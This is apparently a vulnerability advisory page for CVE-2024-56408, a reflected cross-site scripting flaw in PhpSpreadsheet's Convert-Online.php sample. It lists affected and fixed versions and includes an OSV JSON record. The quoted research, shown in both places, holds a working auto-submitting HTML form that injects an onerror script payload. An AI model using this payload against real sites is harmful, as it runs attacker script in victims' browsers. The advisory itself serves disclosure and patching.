CVE-2024-56408: Phpoffice/phpspreadsheet Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-x88g-h956-m5xg
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CVSS 7.1
CWE-79
Published
Advisory Summary

CVE-2024-56408 is a HIGH (CVSS 7.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet allows unauthorized reflected xss in `convert-online.php` file. Remediation is available by upgrading affected packages to version 3.7.0, 1.29.7, 2.1.6, 2.3.5.

CVE-2024-56408 at a Glance

CVE Identifier CVE-2024-56408
GHSA Identifier GHSA-x88g-h956-m5xg
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-56408

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 3.7.0 
Upgrade phpoffice/phpspreadsheet to 3.7.0
phpoffice/phpspreadsheet fixed: 1.29.7 
Upgrade phpoffice/phpspreadsheet to 1.29.7
phpoffice/phpspreadsheet fixed: 2.1.6 
Upgrade phpoffice/phpspreadsheet to 2.1.6
phpoffice/phpspreadsheet fixed: 2.3.5 
Upgrade phpoffice/phpspreadsheet to 2.3.5
phpoffice/phpexcel fixed: Latest secure release 
Upgrade phpoffice/phpexcel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-56408, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Unauthorized Reflected XSS in `Convert-Online.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the quantity variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack. ![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077) *Figure 4. The message with the quantity parameter is displayed without sanitization* The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization. <img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" /> *Figure 5. In the server's response , the quantity variable is displayed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight&#32;and&#32;Mass" /> <input type="hidden" name="quantity" value="1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" /> *Figure 6. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**

CVE-2024-56408 Affected Phpoffice/phpspreadsheet Versions

5 component(s)
Fixed Versions:
3.7.01.29.72.1.62.3.5
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
 Packagist
≥ 3.0.0
< 3.7.0
3.7.0
phpoffice/phpspreadsheet
 Packagist
< 1.29.7
1.29.7
phpoffice/phpspreadsheet
 Packagist
≥ 2.0.0
< 2.1.6
2.1.6
phpoffice/phpspreadsheet
 Packagist
≥ 2.2.0
< 2.3.5
2.3.5
phpoffice/phpexcel
 Packagist
≤ 1.8.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg
NVD — CVE-2024-56408 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-56408
Security Fix Commit FIX COMMIT
https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4
Security Fix Commit FIX COMMIT
https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1
Security Fix Commit FIX COMMIT
https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abc
Security Fix Commit FIX COMMIT
https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25e
Phpoffice/phpspreadsheet Source Repository REPOSITORY
https://github.com/PHPOffice/PhpSpreadsheet

Frequently Asked Questions

What is CVE-2024-56408?
CVE-2024-56408 is a security vulnerability in Phpoffice/phpspreadsheet involving PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 3.7.0, 1.29.7, 2.1.6, 2.3.5 across affected packages: phpoffice/phpspreadsheet, phpoffice/phpexcel.
What version fixes CVE-2024-56408?
Upgrading to 3.7.0, 1.29.7, 2.1.6, 2.3.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 3.7.0, 1.29.7, 2.1.6, 2.3.5. Upgrade your dependency to 3.7.0, 1.29.7, 2.1.6, 2.3.5 or later.
Is phpoffice/phpexcel affected?
Yes, phpoffice/phpexcel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2024-56408?
CVE-2024-56408 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2024-56408?
CVE-2024-56408 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2024-56408?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x88g-h956-m5xg",
  "modified" : "2025-05-20T18:30:35Z",
  "published" : "2025-01-03T16:05:26Z",
  "aliases" : [ "CVE-2024-56408" ],
  "summary" : "PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file",
  "details" : "# Unauthorized Reflected XSS in `Convert-Online.php` file\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack \n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the quantity variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.\n\n![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)\n\n*Figure 4. The message with the quantity parameter is displayed without sanitization*\n\n\nThe following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.\n\n<img width=\"460\" alt=\"fig5\" src=\"https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971\" />\n\n*Figure 5. In the server's response , the quantity variable is displayed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php\" method=\"POST\">\n      <input type=\"hidden\" name=\"category\" value=\"Weight&#32;and&#32;Mass\" />\n      <input type=\"hidden\" name=\"quantity\" value=\"1&#46;0&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"fromUnit\" value=\"g\" />\n      <input type=\"hidden\" name=\"toUnit\" value=\"g\" />\n      <input type=\"hidden\" name=\"submitx\" value=\"Convert\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nAfter the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.\n \n<img width=\"389\" alt=\"fig6\" src=\"https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625\" />\n\n*Figure 6. Executing arbitrary JavaScript code*\n\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L"
  } ],
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      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
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    "ranges" : [ {
      "type" : "ECOSYSTEM",
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    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.5"
    }
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    } ],
    "database_specific" : {
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  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpexcel"
    },
    "ranges" : [ {
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      "events" : [ {
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        "last_affected" : "1.8.2"
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    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-x88g-h956-m5xg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-56408"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/9b9a55c7154daa7cd4095f618933c240508ba3c1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/a50ebfe118b3ae0ddaea1c48ac19dc38692f4abc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/b8fac55aa5cb7a3d514c7308378bb37bb711b25e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-03T16:05:26Z",
    "nvd_published_at" : "2025-01-03T16:15:26Z"
  }
}